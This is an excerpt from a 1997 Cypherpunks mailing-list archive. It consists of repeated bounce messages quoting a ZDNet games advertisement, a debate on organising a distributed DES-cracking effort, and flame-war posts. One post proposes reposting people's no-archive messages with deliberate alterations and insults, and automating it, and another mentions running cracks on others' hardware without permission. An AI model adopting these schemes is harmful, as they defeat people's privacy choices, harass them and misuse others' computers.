>of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:10 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:10 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ka219866; Tue, 25 Feb 1997 17:10:00 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:00 -0500 >Message-Id: <22100044245873 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:13 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:13 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id qa219872; Tue, 25 Feb 1997 17:10:09 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:09 -0500 >Message-Id: <22100948545881 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:15 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:15 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id aa219882; Tue, 25 Feb 1997 17:10:22 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:22 -0500 >Message-Id: <22102283445895 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:09:15 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:09:15 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ga219888; Tue, 25 Feb 1997 17:10:31 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:31 -0500 >Message-Id: <22103117645901 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:10:52 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:10:52 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id la219867; Tue, 25 Feb 1997 17:10:02 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:02 -0500 >Message-Id: <22100246545874 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:10:53 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:10:53 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id za219881; Tue, 25 Feb 1997 17:10:21 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:21 -0500 >Message-Id: <22102145245892 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:12:35 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:12:35 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id pa219871; Tue, 25 Feb 1997 17:10:08 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:08 -0500 >Message-Id: <22100820345880 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From camcc at abraxis.com Tue Feb 25 14:56:06 1997 From: camcc at abraxis.com (Alec) Date: Tue, 25 Feb 1997 14:56:06 -0800 (PST) Subject: take me off this list In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu> Message-ID: <3.0.1.32.19970225175547.007c9c60@smtp1.abraxis.com> At 03:43 PM 2/25/97 -0800, Toto wrote: What frigging list is this I got on? Alec From dlv at bwalk.dm.com Tue Feb 25 19:20:47 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 25 Feb 1997 19:20:47 -0800 (PST) Subject: x-no-archive: yes In-Reply-To: <3.0.1.32.19970225133510.007ab9c0@aloha.com> Message-ID: <0coP3D74w165w@bwalk.dm.com> "Dr. Jai Maharaj" writes: > boursy at earthlink.net (ISP_Ratings) wrote: > > aga wrote: > >> Let's all just start reposting any x-no-archive that we see. > > > > Will do--this works better from a shell as there is > > more information revealed. It'll drive those in the > >'privacy' groups nuts though. > > I shall do the same. Is it a good idea to include a line > such as "Posting the article so that it may be archived." > either at the top or bottom of the reposts? An excellent idea! Also reposting their garbage from bofh.* to news.* and alt.flame. :-) I'd suggest: 1. "Reposting the article so it can be archived" on top; 2. Slight alterations of the text (introducing spelling errors etc) 3. A disparaging remark at the bottom ("what a maroon", "get a clue", etc) This can be done better by a computer program than by a human being... --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From toto at sk.sympatico.ca Tue Feb 25 20:05:45 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 25 Feb 1997 20:05:45 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) In-Reply-To: Message-ID: <3313D302.2C53@sk.sympatico.ca> Mark M. wrote: > Last time I checked, deskr06i.zip, which I believe is the correct filename, > was in Lies, lies. The correct URL is: ftp://ftp.replay.com/pub/replay/pub/incoming/ (unless you are a drug-pushing, child-molesting terrorist, in which case I, too, am lying) From gbroiles at netbox.com Wed Feb 26 07:28:36 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 26 Feb 1997 07:28:36 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy In-Reply-To: <3310e0fa.5573759@library.airnews.net> Message-ID: <3.0.1.32.19970226073415.006c23b8@mail.io.com> At 04:31 PM 2/24/97 -0500, Marc Horowitz wrote: >>> The "you must report results only to the crack organizers" rule can be >>> enforced if it's made into a contract. Even without a formal contract, > >I don't want to sign a formal contract. I want to break the key. I >don't care about the money. I can buy a lottery ticket if I want a >small chance at winning a lot of money. > >I'll participate when I can download something, type make, run it, and >forget about it. If this is the case, it seems like it'd be useful to consider what sort of social/legal/technical environment is most likely to result in "something" that you can download, make, run, and forget. Hence, discussion about legal and technical approaches which are likely to satisfy organizers' desires to control the direction & results of their projects. A distributed crack needs client software, and a coordinated distributed crack needs some sort of coordination mechanism. The current set of rewards available to potential organizers doesn't seem to be inspiring an outpouring of effort. (No offense is intended to people who are actually deploying things; the "lack of outpouring" comment refers to the number of different efforts, not the commitment exhibited by those who are working now.) >Invoving money money seems to be making it harder, not easier, to do >this. I thought the reason to crack the key was to demonstrate how >weak DES is. If the person who cracks the key collects the reward >himself, so what? A good, public nail in the coffin of restrictions >on crypto is worth the risk that someone steals the $10k, IMHO. That's a very noble sentiment, but until *you* write some software, the risk that you're dismissing is *someone else's* risk - so you're balancing a public good against someone else's loss, and deciding that it works out nicely for you. Well, sure. You seem to be willing to give up the nominal value of the prize (somewhere under $1, when discounted against the chance of hitting the key) but you don't seem to be willing to invest anything substantial (like many hours of programming time, or serious computing horsepower) in the bruting effort. I'll cheerfully admit that my level of commitment is similar to yours - I don't mind letting someone else's software eat up my idle cycles. But I'd have to see some tangible benefit to me before I'd be willing to put any real time or effort into a crack, and I suspect this is true of many others, too. The value of the $10K prize alone isn't that attractive, because with puny hardware it's a very long shot, and with meaningful hardware, the cost of the hardware dwarfs the value of the prize. I don't think it's realistic or useful to pretend to ignore economics. I believe that you are not ignoring economic considerations when you fail to invest significantly in the bruting effort, and I don't think there's anything wrong with that. My point is that if we want to see a brute-force attack succeed, and we want the threat of other brute-force attacks to be credible, we should find a way to organize rights & obligations such that it looks rational to act as the organizer of a brute-force effort. The current configuration doesn't seem to inspire widespread significant interest. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From tcmay at got.net Wed Feb 26 09:04:49 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 26 Feb 1997 09:04:49 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy In-Reply-To: Message-ID: First, I won't express any more opinions about the DES crack and whether it "ought" to be coordinated or uncoordinated. Second, Greg's point brings up something very interesting: At 7:34 AM -0800 2/26/97, Greg Broiles wrote: >others, too. The value of the $10K prize alone isn't that attractive, >because with puny hardware it's a very long shot, and with meaningful >hardware, the cost of the hardware dwarfs the value of the prize. Interestingly for the _contract_ discussion, it is likely that many of those participating are not the _owners_ of the hardware on which the crack software is being run. For example, the hardware is owned by universities (and hence maybe taxpayers), corporations, government labs, etc. The whole notion of "stealing cycles" is the key to the crack. as it were. (Sure, in some cases the owners sort of know that spare cycles are being used, or that "something" is going on. And the cycles may indeed be spare...but in some cases the DES crack may materially slow down other users...not my main point, though.) So, do those making a "contract" with the crack challenge organizers have the legal power to do so? Did the University of California waive its share of the prize if the Network of Workstations, for example, finds the key? Will we see "stego cracking," where people hide their intentions so that if the cycles they steal win a prize, they won't have to answer to their employers? Or, worse, share the prize? (Or give up the prize completely, as seems likely under existing case law.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From toto at sk.sympatico.ca Wed Feb 26 09:21:13 1997 From: toto at sk.sympatico.ca (Toto) Date: Wed, 26 Feb 1997 09:21:13 -0800 (PST) Subject: Sampler: February 26 In-Reply-To: <9702260830.AA29225@jimmy.djc.com> Message-ID: <331482F2.7DFB@sk.sympatico.ca> sampler-request at lmboyd.com wrote: ====================================================== Wrote Peter Chippindale in the United Kingdom's New Statesman: "A good police force is one which catches more criminals than it employs." -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jya at pipeline.com Wed Feb 26 11:58:05 1997 From: jya at pipeline.com (John Young) Date: Wed, 26 Feb 1997 11:58:05 -0800 (PST) Subject: GCHQ On Escrow Sham Message-ID: <1.5.4.32.19970226195118.006ba3bc@pop.pipeline.com> The GCHQ spook heading the EU's group on crypto policy admits that law enforcement demand for key escrow is just a cover for foreign intelligence: http://www.cs.berkeley.edu/~daw/GCHQ/ There's also a lengthy description of E-mail security for Her Majesty's Government. From marc at cygnus.com Wed Feb 26 13:23:02 1997 From: marc at cygnus.com (Marc Horowitz) Date: Wed, 26 Feb 1997 13:23:02 -0800 (PST) Subject: Distributed cracks, law, and cryptoanarchy In-Reply-To: <3310e0fa.5573759@library.airnews.net> Message-ID: Greg Broiles writes: >> That's a very noble sentiment, but until *you* write some software, the >> risk that you're dismissing is *someone else's* risk - so you're balancing >> a public good against someone else's loss, and deciding that it works out >> nicely for you. Well, sure. You seem to be willing to give up the nominal >> value of the prize (somewhere under $1, when discounted against the chance >> of hitting the key) but you don't seem to be willing to invest anything >> substantial (like many hours of programming time, or serious computing >> horsepower) in the bruting effort. When I wrote my message, this thought occurred to me. I should have assumed someone would call me on it :-) My perception of the situation (which may or may not be accurate) is that the technology, while perhaps not the best possible, exists. What seems to be preventing coordination is bickering about what to do with the money, including the fear that someone else will claim the money. As you have pointed out, the value of a $10K prize is not that attractive. If people are doing anything at all, it is not for the prospect of economic gain. I'm hoping that someone who has other incentives besides the money will agree with my evaluation (and yours, I think) of the risks, and move forward with the project. >> My point is that if we want to see a brute-force attack succeed, >> and we want the threat of other brute-force attacks to be credible, >> we should find a way to organize rights & obligations such that it >> looks rational to act as the organizer of a brute-force effort. The >> current configuration doesn't seem to inspire widespread >> significant interest. By these arguments, the rc5-48 attack would have never happened. I'm not sure what the incentives were for that, but I think the same incentives apply to a DES attack. I don't think the money figured prominently into the first attack. My message was intended to cause those who might work on the second attack to look past the money, and at whatever other incentives they might have. >> I don't think it's realistic or useful to pretend to ignore economics. I'm not trying to ignore economics. I'm trying to show that, for some of us, there are other incentives than money. For me and you, these incentives aren't strong enough. For someone else, they might be. I can't make them do anything, but I can certainly try to encourage them. Marc From dlv at bwalk.dm.com Wed Feb 26 15:22:56 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 26 Feb 1997 15:22:56 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: <9702252315.ZM29647@razor.engr.sgi.com> Message-ID: das at razor.engr.sgi.com (Anil Das) writes: > On Feb 25, 10:47pm, Alan Olsen wrote: > > > > "We have met the Enemy and they is us." > > > > Er.. I thought the discussion of cypherpunks list moderation is over. > > -- > Anil Das > I think not. I think a weekly FAQ regarding the reputation of John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit), Greg Broils (spit) and C2Net (spit) is in order. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jya at pipeline.com Wed Feb 26 17:42:38 1997 From: jya at pipeline.com (John Young) Date: Wed, 26 Feb 1997 17:42:38 -0800 (PST) Subject: 43 Public Comments Message-ID: <1.5.4.32.19970227013551.006cc844@pop.pipeline.com> We've completed conversion of the 43 public comments on encryption tranfers at BXA from PDF to HTML: http://jya.com/bxapctoc.htm The TOC links to each in a separate file. Instructive reading. Microsoft and a few others punch hard, claiming betrayal by the Admin for not consulting industry as promised and rushing out the Interim Rule. Nearly all say stronger crypto is a must to compete globally. Yep, a few brown-nose the bosses; guess who. From nobody at REPLAY.COM Wed Feb 26 18:47:18 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 26 Feb 1997 18:47:18 -0800 (PST) Subject: [CRYPTO] One-time pads Message-ID: <199702270247.DAA13171@basement.replay.com> Here, Timmy C[unt] May descends into total inanity. He should have a cold shower and/or a Turkish coffee. /_/\/\ \_\ / Timmy C[unt] May /_/ \ \_\/\ \ \_\/ From dthorn at gte.net Wed Feb 26 21:45:46 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 26 Feb 1997 21:45:46 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: Message-ID: <33151F6A.22BF@gte.net> Dr.Dimitri Vulis KOTM wrote: > das at razor.engr.sgi.com (Anil Das) writes: > > On Feb 25, 10:47pm, Alan Olsen wrote: > > > "We have met the Enemy and they is us." > > Er.. I thought the discussion of cypherpunks list moderation is over. > I think not. I think a weekly FAQ regarding the reputation of > John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit), > Greg Broils (spit) and C2Net (spit) is in order. Did you see where Greg (apparently one of the C2 employees) said that moderation actually *won*, and that's apparently what you, I, and all the rest of the folks *really* wanted? History is not boring, since it's constantly being (re)written! From dthorn at gte.net Wed Feb 26 22:10:58 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 26 Feb 1997 22:10:58 -0800 (PST) Subject: Moderation/censorship In-Reply-To: <01IFVIOKOQM88Y57CZ@mbcl.rutgers.edu> Message-ID: <33152498.6A19@gte.net> E. Allen Smith wrote: > There was some discussion from Toto et al (whom I'd guess you'd (sensibly) > filtered out) of blocking postings from Senate and House addresses, [snip] > (If DLVulis was a participant in the discussion (I wouldn't notice, > given that I generally delete his messages before reading), he > would be a probable exception to the latter part of the last sentence.) [snip] So here's this Eastern-establishment George Bush wanna-be piece-of-shit whiny asshole Smith beating up on Toto and Vulis for the nth time. Just can't give it up, can you, bozo? Why don't you dig a hole, crawl in, and pull the dirt in over you. Then not only would you not be unhappy any more, every one else would be happy too. From ichudov at algebra.com Wed Feb 26 22:21:25 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 26 Feb 1997 22:21:25 -0800 (PST) Subject: Moderation/censorship In-Reply-To: <33152498.6A19@gte.net> Message-ID: <199702270609.AAA08864@manifold.algebra.com> Dale Thorn wrote: > > E. Allen Smith wrote: > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly) > > filtered out) of blocking postings from Senate and House addresses, > [snip] > > (If DLVulis was a participant in the discussion (I wouldn't notice, > > given that I generally delete his messages before reading), he > > would be a probable exception to the latter part of the last sentence.) > [snip] > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit > whiny asshole Smith beating up on Toto and Vulis for the nth time. remember dale, you and dr. vulis are also beating on john gilmore & co. - Igor. From dthorn at gte.net Wed Feb 26 23:02:46 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 26 Feb 1997 23:02:46 -0800 (PST) Subject: Moderation/censorship In-Reply-To: <199702270609.AAA08864@manifold.algebra.com> Message-ID: <33153141.1762@gte.net> Igor Chudov @ home wrote: > Dale Thorn wrote: > > E. Allen Smith wrote: > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly) > > > filtered out) of blocking postings from Senate and House addresses, > > [snip] > > > (If DLVulis was a participant in the discussion (I wouldn't notice, > > > given that I generally delete his messages before reading), he > > > would be a probable exception to the latter part of the last sentence.) > > [snip] > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit > > whiny asshole Smith beating up on Toto and Vulis for the nth time. > remember dale, you and dr. vulis are also beating on john gilmore & co. True, but, Smith viciously attacked me before I said anything about him, and he did so not because I was some kind of authority inter- fering with his life (like a lying, cheating, censoring list mgr.), but simply because he didn't like my posts. From ichudov at algebra.com Wed Feb 26 23:27:44 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 26 Feb 1997 23:27:44 -0800 (PST) Subject: Moderation/censorship In-Reply-To: <33153141.1762@gte.net> Message-ID: <199702270706.BAA09372@manifold.algebra.com> Dale Thorn wrote: > Igor Chudov @ home wrote: > > Dale Thorn wrote: > > > E. Allen Smith wrote: > > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly) > > > > filtered out) of blocking postings from Senate and House addresses, > > > [snip] > > > > (If DLVulis was a participant in the discussion (I wouldn't notice, > > > > given that I generally delete his messages before reading), he > > > > would be a probable exception to the latter part of the last sentence.) > > > [snip] > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit ^^^^^^^^^^^^^^^^^^^^^^^^^ > > > whiny asshole Smith beating up on Toto and Vulis for the nth time. ^^^^^^^^^^^^^^^^^^^^^^ > > remember dale, you and dr. vulis are also beating on john gilmore & co. > > True, but, Smith viciously attacked me before I said anything about > him, and he did so not because I was some kind of authority inter- > fering with his life (like a lying, cheating, censoring list mgr.), > but simply because he didn't like my posts. :) and you are attacking him because you did not like his posts. - Igor. From dthorn at gte.net Thu Feb 27 00:02:16 1997 From: dthorn at gte.net (Dale Thorn) Date: Thu, 27 Feb 1997 00:02:16 -0800 (PST) Subject: Moderation/censorship In-Reply-To: 